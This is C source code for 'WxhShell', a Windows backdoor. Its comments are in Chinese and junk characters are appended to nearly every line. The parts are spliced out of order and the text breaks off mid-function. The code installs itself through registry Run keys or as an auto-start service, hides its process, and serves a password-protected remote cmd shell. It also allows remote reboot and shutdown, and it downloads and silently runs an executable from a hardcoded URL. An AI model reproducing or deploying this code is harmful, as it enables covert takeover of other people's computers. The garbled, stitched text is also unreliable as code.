    ExitThread(0); W -3w7^  
    } o=@ UXi  
    break; }Uq/kei^P  
    } F-i&M1 \_  
  // 关机 78gob&p?  
  case 'd': { w[|y0jtw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i'9e K O  
    if(Boot(SHUTDOWN)) r@;$V_I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '2j~WUEmg  
    else { sgR 9d  
    closesocket(wsh); zEAx:6`c  
    ExitThread(0); mxZ4 HD{  
    } J ( =4  
    break; ayN*fiV]  
    } <)"iL4 kDI  
  // 获取shell MR[N6E6Mg  
  case 's': { 2Sv>C `FMU  
    CmdShell(wsh); ,Qga|n8C  
    closesocket(wsh); zab w!@]  
    ExitThread(0); "hz>{oe  
    break; *pY/5? g  
  } =:kiSrBS3t  
  // 退出 *:k~g].Iz  
  case 'x': { zCyR<as7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vxF:vI# @  
    CloseIt(wsh); L/c4"f|.*v  
    break; 3KR2TcT#{  
    } |:{g?4Mi  
  // 离开 hLCsQYNDU  
  case 'q': { O#A8t<f|M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7ucx6J]c  
    closesocket(wsh); .`b4h"g:  
    WSACleanup(); q=J9L Q  
    exit(1); -i2D#i'  
    break; Z+OAs0}mV  
        } T<! \B]  
  } 3{6ps : w  
  } 7O]J^H+7  
"Wxo[I  
  // 提示信息 1*TXDo_T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OA\vT${5  
} %-T}s`Z  
  } lK_ ~d_f  
&9S8al 8"  
  return; *1%e%G  
} `" i^'VL,  
EolE?g@l8  
// shell模块句柄 B!$V\Gs  
int CmdShell(SOCKET sock) cu) @P0I  
{ [%HYh7ua<  
STARTUPINFO si; .dy#n`eP  
ZeroMemory(&si,sizeof(si)); (K!M*d+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vQ?MM&6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h2im sjf  
PROCESS_INFORMATION ProcessInfo; Vf@S8H  
char cmdline[]="cmd"; mYzsT Uq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oUnq"]  
  return 0; -Y5YCY!`  
} d<e+__ 2  
u Zo]8mV  
// 自身启动模式 U&tfl/  
int StartFromService(void) yd\5Z[iEp  
{ WK/b=p|#o  
typedef struct 7*R{u*/e  
{ DKe6?PG  
  DWORD ExitStatus; aUsul'e;M  
  DWORD PebBaseAddress; 7O;BS}Lv=  
  DWORD AffinityMask; 3'|Uqf8  
  DWORD BasePriority; ]?v?Qfh2  
  ULONG UniqueProcessId; ez{P-qB  
  ULONG InheritedFromUniqueProcessId; Lg\8NtP   
}   PROCESS_BASIC_INFORMATION; #RCZA4>  
gPF}aaB6  
PROCNTQSIP NtQueryInformationProcess; Nv}U/$$S  
)*q7pO\cty  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &<\4q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IBn'iE[>  
TyxU6<>4J4  
  HANDLE             hProcess; (CKhY~,/u  
  PROCESS_BASIC_INFORMATION pbi; Vu_7uSp,)  
My'9S2Y8nv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^K1~eb*K  
  if(NULL == hInst ) return 0; : HQ8M*o  
+H2m<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jV(xYA3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  r{; VTQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vWPM:1A  
'Qp&,xK  
  if (!NtQueryInformationProcess) return 0; \}]=?}(  
2tg/S=t}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GqmDDL1  
  if(!hProcess) return 0; N2+mN0k;  
D;1 6}D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p 02nd.R6  
f }evw K[S  
  CloseHandle(hProcess); F:[Nw#gj/  
%RfY`n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =|j*VF2y"  
if(hProcess==NULL) return 0; (6b?ir~  
!3b|*].B  
HMODULE hMod; I{*.htt{  
char procName[255]; tkm~KLWV&7  
unsigned long cbNeeded; |IyM"UH  
rw40<SS"Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -$sl!%HO%  
K#m\ qitb  
  CloseHandle(hProcess); iMOPD}`IX  
b n<I#ZH2  
if(strstr(procName,"services")) return 1; // 以服务启动 iZDb.9@&t  
!>a&`j2:W  
  return 0; // 注册表启动  8o%<.]   
} df21t^0/  
~:ub  
// 主模块 U#UVenp@  
int StartWxhshell(LPSTR lpCmdLine) 8S[ <[CH  
{ o}r!qL0c  
  SOCKET wsl; ~x +:44*  
BOOL val=TRUE; ;Wfv+]n9  
  int port=0; l"~h1xk~  
  struct sockaddr_in door; vJ#rW8y  
5 ~ *'>y  
  if(wscfg.ws_autoins) Install(); wHo#%Y,Nmi  
vMW-gk  
port=atoi(lpCmdLine); )|59FOWg  
5W:Gl?$S}  
if(port<=0) port=wscfg.ws_port; ^=-*L 3f  
k`iq<b  
  WSADATA data; lyOrM7Gs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y<'2BTf  
bSeL"   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $Nt]${0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #C=L^cSx(  
  door.sin_family = AF_INET; gs`27Gih  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FzsS~C$wH{  
  door.sin_port = htons(port); K_<lO,[S  
Bcd0   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Hm8EYPr J  
closesocket(wsl); Gr"2G,,VI  
return 1; ] fwTi(4y  
} 6U,U[MWJ  
ShsP]$Yp  
  if(listen(wsl,2) == INVALID_SOCKET) { F_M~!]<na  
closesocket(wsl); Xx9~  
return 1; =E6i1x%j  
} yo Q?lh  
  Wxhshell(wsl); wZ\e3H z  
  WSACleanup(); n_!]B_Vd$  
([4{n  
return 0; fDm}J  
u[6`Jr~  
} Is*0?9qU  
;03*qOYc  
// 以NT服务方式启动 ]mJAKycE%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W&~iO   
{ u=ds]XP@  
DWORD   status = 0; +~pc% 3*  
  DWORD   specificError = 0xfffffff; !!D:V`F/d  
ytBxe]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yrK--C8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t KqCy\-q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ig?.*j ]  
  serviceStatus.dwWin32ExitCode     = 0; NdED8 iRc  
  serviceStatus.dwServiceSpecificExitCode = 0; )lngef /D_  
  serviceStatus.dwCheckPoint       = 0; WSpg(\Cs  
  serviceStatus.dwWaitHint       = 0; (>Q9jNW  
6Kv}2M')+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?`[ uh%  
  if (hServiceStatusHandle==0) return; o`y*yucHI  
7$dc? K  
status = GetLastError(); LTls]@N  
  if (status!=NO_ERROR) nF!_q;+Vp  
{ Pi]s<3PL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oE|{|27X  
    serviceStatus.dwCheckPoint       = 0; hz~CW-47  
    serviceStatus.dwWaitHint       = 0; 5+Zx-oWq_  
    serviceStatus.dwWin32ExitCode     = status; EuimZW\V  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1o"oa<*_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XKPt[$ab  
    return; A](}"Pi!n  
  } Iy1X nS*  
C_khd"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !^"!fuoNC  
  serviceStatus.dwCheckPoint       = 0; ]@<3 6ByM  
  serviceStatus.dwWaitHint       = 0; |Nx!g fU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K&a]pL6D  
} ~PS2[5yo  
TXvt0&-  
// 处理NT服务事件,比如:启动、停止 ^>R|R1&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Drq{)#7  
{ %RD7=Z-z  
switch(fdwControl) BQfAen]  
{ J/&*OC  
case SERVICE_CONTROL_STOP: pfn#~gC_=  
  serviceStatus.dwWin32ExitCode = 0; =x.v*W]F`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ([XyW{=h!  
  serviceStatus.dwCheckPoint   = 0; IM&7h! l"|  
  serviceStatus.dwWaitHint     = 0; '8pPGh9D  
  { <n2{+eO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I9j+x ])  
  } *$Wx*Jo  
  return; q!h*3mNm  
case SERVICE_CONTROL_PAUSE: )b2E/G@X&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yW=hnV{  
  break; `R=_t]ie  
case SERVICE_CONTROL_CONTINUE: Vi -!E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >zx50e)  
  break; u.K'"-xt4K  
case SERVICE_CONTROL_INTERROGATE: 'FA)LuAok  
  break; TboHP/  
}; L!Zxc~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uB&I56  
} cS;=_%~  
&/#Tk>:  
// 标准应用程序主函数 i^V4N4ux]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LGg x.Z  
{ Q_|S^hx Q  
uM!r|X)8  
// 获取操作系统版本 f!kdcr=/"  
OsIsNt=GetOsVer(); iqKfMoy5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Wes "t}[25  
n7!Lwq2  
  // 从命令行安装 lJQl$Wx^  
  if(strpbrk(lpCmdLine,"iI")) Install(); snzH}$Ls  
WMz|FFKVY  
  // 下载执行文件 1B]wSvP@  
if(wscfg.ws_downexe) { d.(]V2X.J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =d4',[O  
  WinExec(wscfg.ws_filenam,SW_HIDE); }6{)Jv  
} q>lkLHS  
C]cT*B^  
if(!OsIsNt) { a ZCZ/  
// 如果时win9x,隐藏进程并且设置为注册表启动 5N</Z6f'o  
HideProc(); NTX+7<  
StartWxhshell(lpCmdLine); [-94=|S @  
} iW%0pLn  
else kk./-G  
  if(StartFromService()) -EIMh^  
  // 以服务方式启动 GQAg ex)D  
  StartServiceCtrlDispatcher(DispatchTable); ^|12~d_.T  
else Y%cA2V\#m  
  // 普通方式启动 7Z:l;%]K  
  StartWxhshell(lpCmdLine); P*=3$-`  
Jt^JE{m9%  
return 0; .xQ'^P_q  
} M@ZpgAfq  
<T~fh>a  
00x^zu?N  
Q2WrB+/  
=========================================== 8}b[Q/h!  
~=]@], {  
k  5kX  
'Bn_'w~j{  
qBrZg  
y(BLin!O.  
" e$|)wOwU  
fe`G^hV  
#include <stdio.h> i]WlMC6  
#include <string.h> \B +SzW  
#include <windows.h> `fh_8%m]*  
#include <winsock2.h> gM[ J'DMW  
#include <winsvc.h> g 5N<B+?!i  
#include <urlmon.h> (w  
rSCX$ @@F  
#pragma comment (lib, "Ws2_32.lib") f;dU72]q+  
#pragma comment (lib, "urlmon.lib") Yzx0[_'u  
>V=@[B(0  
#define MAX_USER   100 // 最大客户端连接数 *J5euA5=  
#define BUF_SOCK   200 // sock buffer "r3s'\  
#define KEY_BUFF   255 // 输入 buffer 7n]%`Yb  
nM}`H'0  
#define REBOOT     0   // 重启 $6%;mep  
#define SHUTDOWN   1   // 关机 #mxfU>vQ:  
^moIMFl  
#define DEF_PORT   5000 // 监听端口 Gl:T  
_jKVA6_E  
#define REG_LEN     16   // 注册表键长度 eTHh  
#define SVC_LEN     80   // NT服务名长度 6u3(G j@  
>x0lSL0y  
// 从dll定义API epyYo&x}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m)w- mc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -\v8i.w0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3`8xh 9O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $ !=:ES  
1caod0gor  
// wxhshell配置信息 [m&ZAq  
struct WSCFG { q9]L!V 9Rv  
  int ws_port;         // 监听端口 7u0R=q  
  char ws_passstr[REG_LEN]; // 口令 r}Av"  
  int ws_autoins;       // 安装标记, 1=yes 0=no _ 9]3S>Rn  
  char ws_regname[REG_LEN]; // 注册表键名 I"?&X4%e  
  char ws_svcname[REG_LEN]; // 服务名 >&z+ih  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (19<8a9G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u6d~d\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4=cq76  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YIqfGXu8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^Pp FI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BVeNK=7m%  
k;X1x65uP  
}; kfECC&"  
]`9K|v  
// default Wxhshell configuration =%G[vm/-)  
struct WSCFG wscfg={DEF_PORT, qE=OQs9  
    "xuhuanlingzhe", wajhFBJ  
    1, b;ZAz  
    "Wxhshell", 1yc@q8  
    "Wxhshell", E.9k%%X]  
            "WxhShell Service", |/Z)?  
    "Wrsky Windows CmdShell Service", p8J"%Jq}  
    "Please Input Your Password: ", 8"^TWzg}L  
  1, c17==S  
  "http://www.wrsky.com/wxhshell.exe", )uWNN"  
  "Wxhshell.exe" 3f8Z ?[Bb@  
    }; d69VgLg  
i|'t!3I^m  
// 消息定义模块 Wb xksh:)Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ``Rb-.Fq,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l]&)an  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;wB  3H  
char *msg_ws_ext="\n\rExit."; x*V<afLY[  
char *msg_ws_end="\n\rQuit."; ! .}{ f;Ls  
char *msg_ws_boot="\n\rReboot..."; pdqh'+5  
char *msg_ws_poff="\n\rShutdown..."; mr.DP~O:9p  
char *msg_ws_down="\n\rSave to "; _"`h~jB  
f d5~'2  
char *msg_ws_err="\n\rErr!"; 6>J #M  
char *msg_ws_ok="\n\rOK!"; _gh7_P^H=d  
3/05ee;|  
char ExeFile[MAX_PATH]; Bk <P~-I  
int nUser = 0; 4VgDN(n0@  
HANDLE handles[MAX_USER]; P^-9?u Bno  
int OsIsNt; #IDCCD^1=  
^123.Ru|t  
SERVICE_STATUS       serviceStatus; $vz%   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^Yz05\  
Z Z7U^#RT  
// 函数声明 e vuP4-[y  
int Install(void); =<xbE;,0  
int Uninstall(void); k =_@1b-  
int DownloadFile(char *sURL, SOCKET wsh); W -&5 v  
int Boot(int flag); _Oq\YQb v  
void HideProc(void); ~V)E:(  
int GetOsVer(void); ;_\P;s  
int Wxhshell(SOCKET wsl); p60D{UzU  
void TalkWithClient(void *cs); Eq{TZV  
int CmdShell(SOCKET sock); #C mBgxg+M  
int StartFromService(void); O2f2Fb$B7  
int StartWxhshell(LPSTR lpCmdLine); q#Vf2U55m  
]+P &Y:   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W9"I++~f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *6tN o-)^  
C"<@EMU9  
// 数据结构和表定义 t`B']Ac;T  
SERVICE_TABLE_ENTRY DispatchTable[] = ?f&I"\y  
{ :~Y$\Ww(~  
{wscfg.ws_svcname, NTServiceMain}, R3A^VE;qP  
{NULL, NULL} XT"c7]X  
}; Gy%e%'  
T:$_1I $  
// 自我安装 bk]|C!7$  
int Install(void) ,vPF=wq  
{ w3D_ c~  
  char svExeFile[MAX_PATH]; K-3 _4As  
  HKEY key; $EF@x}h:A  
  strcpy(svExeFile,ExeFile); d .A0(*k,  
M-Bw9`#Jw  
// 如果是win9x系统,修改注册表设为自启动 ~JpUO~i/  
if(!OsIsNt) { #C^m>o~R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |sz9l/,lG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (i8 t^  
  RegCloseKey(key);  %3j5Q   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )VC) }  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k7*q.20  
  RegCloseKey(key); $'q(Z@  
  return 0; cx}-tj"m-  
    } k9n93I|Cm  
  } hLRQ)  
} Z]<_a)>  
else { Df (6DuW  
t=AR>M!w~  
// 如果是NT以上系统,安装为系统服务 M %~kh"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Hik[pVK@  
if (schSCManager!=0) 9&cZIP   
{ `Z-`-IL  
  SC_HANDLE schService = CreateService j$6}r  
  ( e^yB9b  
  schSCManager, <X?F :?Mk  
  wscfg.ws_svcname, }JD(e}8$!  
  wscfg.ws_svcdisp, Npqbxb  
  SERVICE_ALL_ACCESS, %:*HzYf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 32yNEP{  
  SERVICE_AUTO_START, H^G*5EQK  
  SERVICE_ERROR_NORMAL, I?QKd@  
  svExeFile, K@m^QioMj  
  NULL, N"TD$NrK\  
  NULL, ~6tY\6$9f  
  NULL, YbKW;L&Ff  
  NULL, a0R]hENC  
  NULL 1*fA>v  
  ); RulIzv  
  if (schService!=0) &,zeBFmc  
  { \!r^6'A   
  CloseServiceHandle(schService); c+JlM1p@  
  CloseServiceHandle(schSCManager); C7#$s<>TO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U,'n}]=4A3  
  strcat(svExeFile,wscfg.ws_svcname); :&m(WZ \  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #=rR[:M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7F.,Xvw&@  
  RegCloseKey(key); art{PV4-  
  return 0; ]G:xTv8  
    } m| Z)h{&  
  } (]:G"W8f  
  CloseServiceHandle(schSCManager); #_d%hr~d  
} }1V&(#H2  
} |($pXVLH`  
tz,FK;8  
return 1; ?D_zAh?pW  
} DjIs"5Iei  
k{~5pxd-t  
// 自我卸载 Y*Pr  
int Uninstall(void) 8/:\iPk0  
{ Q*I/mUP&f  
  HKEY key; "q$M\jK#V  
 X_lNnk  
if(!OsIsNt) { nB.p}k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]arP6 iN+  
  RegDeleteValue(key,wscfg.ws_regname); !duR7a  
  RegCloseKey(key); SZ_hGD0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <\5{R@A*6  
  RegDeleteValue(key,wscfg.ws_regname); b{&@ Lm0Tn  
  RegCloseKey(key); ?Rdi"{.wI  
  return 0; o! 8X< o  
  } Z]tz<YSkG  
} DsoF4&>g[B  
} <W pz\U  
else { @9-qqU@  
(< h,R@:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "P6MLf1  
if (schSCManager!=0) /=N`P &R#  
{ ,0~=9dR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T4[eBO  
  if (schService!=0) { }z7N~  
  { r* U6govky  
  if(DeleteService(schService)!=0) { Z1Wra-g  
  CloseServiceHandle(schService); CV k8MA  
  CloseServiceHandle(schSCManager); O'k"6sBb  
  return 0; b#sO1MXv  
  }  ZM"t.  
  CloseServiceHandle(schService); :z[SI{Y  
  } <%5ny!]  
  CloseServiceHandle(schSCManager); \?j(U8mB>  
} *d=pK*g  
} @c.pOX[]m,  
%lBFj/B  
return 1; {0?76|  
} m`/OO;/;  
gY%-0@g  
// 从指定url下载文件 )lZb=t  
int DownloadFile(char *sURL, SOCKET wsh) %EuSP0  
{ `!i>fo~  
  HRESULT hr; J? C"be=  
char seps[]= "/"; K$4Ky&89  
char *token; =_5-z|<  
char *file; [Mx+t3M  
char myURL[MAX_PATH]; O?@AnkOhn  
char myFILE[MAX_PATH]; s^cHR1^  
[8ih-k  
strcpy(myURL,sURL); ;yr 'K  
  token=strtok(myURL,seps); "zugnim  
  while(token!=NULL) ?n}L+|  
  { c5JxKU_  
    file=token; BwR)--75  
  token=strtok(NULL,seps); IMj{n.y4  
  } ;*8$BuD  
i]P]o)  
GetCurrentDirectory(MAX_PATH,myFILE); Yv>% 5`  
strcat(myFILE, "\\"); =dPrG=A   
strcat(myFILE, file); +S$x}b'5q  
  send(wsh,myFILE,strlen(myFILE),0); ]c08`  
send(wsh,"...",3,0); v''$qMQ)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \QVL%,.%M  
  if(hr==S_OK) 8{AzB8xp  
return 0; 'Ag?#vB  
else G=DRz F  
return 1; p?5zwdX+`  
"_lSw3  
} ?Pa5skqR  
tlj^0  
// 系统电源模块  0y?bwxkc  
int Boot(int flag) JMXCyDy;  
{ Wa wOap  
  HANDLE hToken; Ls( &.  
  TOKEN_PRIVILEGES tkp; YM-,L-HMA  
-Wf 2m6t  
  if(OsIsNt) { )<%GHDWL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T{Av[>M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LBTf}T\  
    tkp.PrivilegeCount = 1; iNcB6,++  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 06ZyR@.@v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uT_bA0jK  
if(flag==REBOOT) { )Zox;}WK+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H?PaN)_6-+  
  return 0; d-X<+&VZ  
} v81<K*w`P  
else { $%ps:ui~X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y\S}U{*Z'  
  return 0; n*uT  
} 3>ytpXUEGx  
  } Dc U$sf*  
  else { fnB[b[  
if(flag==REBOOT) { i6aM}p<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F.4xi+S_  
  return 0; C-&\qAo?<:  
} i!(u4wTFF  
else { Tv!zqx#E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I=0`xF|4K-  
  return 0; D/v?nW  
} NSZ9M%7  
} W;Ct[Y 8m  
O|d"0P  
return 1; ;tlvf?0!  
} N^v"n*M0|  
_vm~yKId  
// win9x进程隐藏模块 p[>! ;qI  
void HideProc(void) }Ge$?ZFH  
{  _->d41  
EJrP{GH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iU+O(vi  
  if ( hKernel != NULL ) xQ%N% `  
  { =A{F&:+a]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ) vn {?Ulj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;ry~x:7L7  
    FreeLibrary(hKernel); Pd)mLs Jg  
  } 3VaL%+T$,  
3%P<F>6 J  
return; {{qu:(_g  
} p C^d-Ii  
MaN6bM  
// 获取操作系统版本 3s;^p,9 Y  
int GetOsVer(void) *mby fu0q  
{ ;?4EVZ#o  
  OSVERSIONINFO winfo; %py3fzg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T,r?% G{XE  
  GetVersionEx(&winfo); FN\*x:g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Xh+;$2l.B  
  return 1; Q WcQtM  
  else Zjd9@  
  return 0; R.(PZCvS  
} Qco8m4n  
F$M^}vsjGx  
// 客户端句柄模块 pLSh +*F  
int Wxhshell(SOCKET wsl) F JCs$0  
{ 7H.3.j(L  
  SOCKET wsh; ?fW['%  
  struct sockaddr_in client; e>0gE`8A  
  DWORD myID; DaP,3>M  
42M_  %l_  
  while(nUser<MAX_USER) 41g "7Mk  
{ F/V -@SF  
  int nSize=sizeof(client); bI+/0X x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &n9&k Em  
  if(wsh==INVALID_SOCKET) return 1; "zj[v1K9-A  
T[Lz4;TRk5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [n4nnmM  
if(handles[nUser]==0) Wz%H?m:g#  
  closesocket(wsh); galzk$D  
else jIEntk  
  nUser++; G>=Fdt7Oc  
  } 9A~w2z\G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rtNYX=P  
U$|q]N  
  return 0; e.\dqt~%y  
} <p/zm}?')  
DG?g~{Y~b  
// 关闭 socket -U*J5Q  
void CloseIt(SOCKET wsh) Qo32oT[DM  
{ ,BUrZA2\U$  
closesocket(wsh); ;.'?(iEB  
nUser--; ulE5lG0c  
ExitThread(0); X!_&%^L'  
} e>6|# d  
@Bds0t  
// 客户端请求句柄 {7jl) x3l  
void TalkWithClient(void *cs) X$e*s\4  
{ !0dQfj^_  
i-PK59VZ8f  
  SOCKET wsh=(SOCKET)cs; p4V*%A&w  
  char pwd[SVC_LEN]; 'Lq+ONX5  
  char cmd[KEY_BUFF]; 4C/G &w&  
char chr[1]; d a<>a  
int i,j; (n`] sbx  
)(0if0D4  
  while (nUser < MAX_USER) { `Fie'[F5,)  
`JO>g=,4  
if(wscfg.ws_passstr) { DQ(0:r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7Xx3s@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n]df)a  
  //ZeroMemory(pwd,KEY_BUFF); "iTjiH)Q(  
      i=0; <8(=Lv`)q  
  while(i<SVC_LEN) { 4GbfA .u  
Y?TS,   
  // 设置超时 @Ddz|4vEi  
  fd_set FdRead; qg{gCG  
  struct timeval TimeOut; 7HkFDI()1  
  FD_ZERO(&FdRead); }f;WYz5  
  FD_SET(wsh,&FdRead); /{f"0]-RA  
  TimeOut.tv_sec=8; Qo)Da}uo20  
  TimeOut.tv_usec=0; &Ts!#OcB,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !m^;wkrY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GF6o  
,A'| Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WG A1XQ{  
  pwd=chr[0]; rRg,{:;A  
  if(chr[0]==0xd || chr[0]==0xa) { & XmaGtt  
  pwd=0; f";pfu_FZ  
  break; [I=|"Ic~  
  } rCwE$5 b  
  i++; [3"F$?e5  
    } vn+XY =Qnr  
ULqI]k(  
  // 如果是非法用户,关闭 socket  4d\^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eT+i &  
} yI1 :L -  
"]#Ij6ml  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t5%cpkgh4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <4+P37^ ~  
KF zI27r  
while(1) { Ym 1vq=  
f[1cN`|z  
  ZeroMemory(cmd,KEY_BUFF); E/g"}yR  
yfK}1mx)j  
      // 自动支持客户端 telnet标准   "h#R>3I1)  
  j=0; g:z<CSIq/  
  while(j<KEY_BUFF) { D#UuIZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ''YqxJ fb  
  cmd[j]=chr[0]; g]lEG>y1R  
  if(chr[0]==0xa || chr[0]==0xd) { p;>A:i  
  cmd[j]=0; u [._RA  
  break; `mzlOB  
  } M2Jf-2  
  j++; g35!a<JW  
    } Ez;Qo8  
JD#x+~pb,8  
  // 下载文件 [EDX@Kdq)  
  if(strstr(cmd,"http://")) { GuO}CQs^W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :a6LfPEAX  
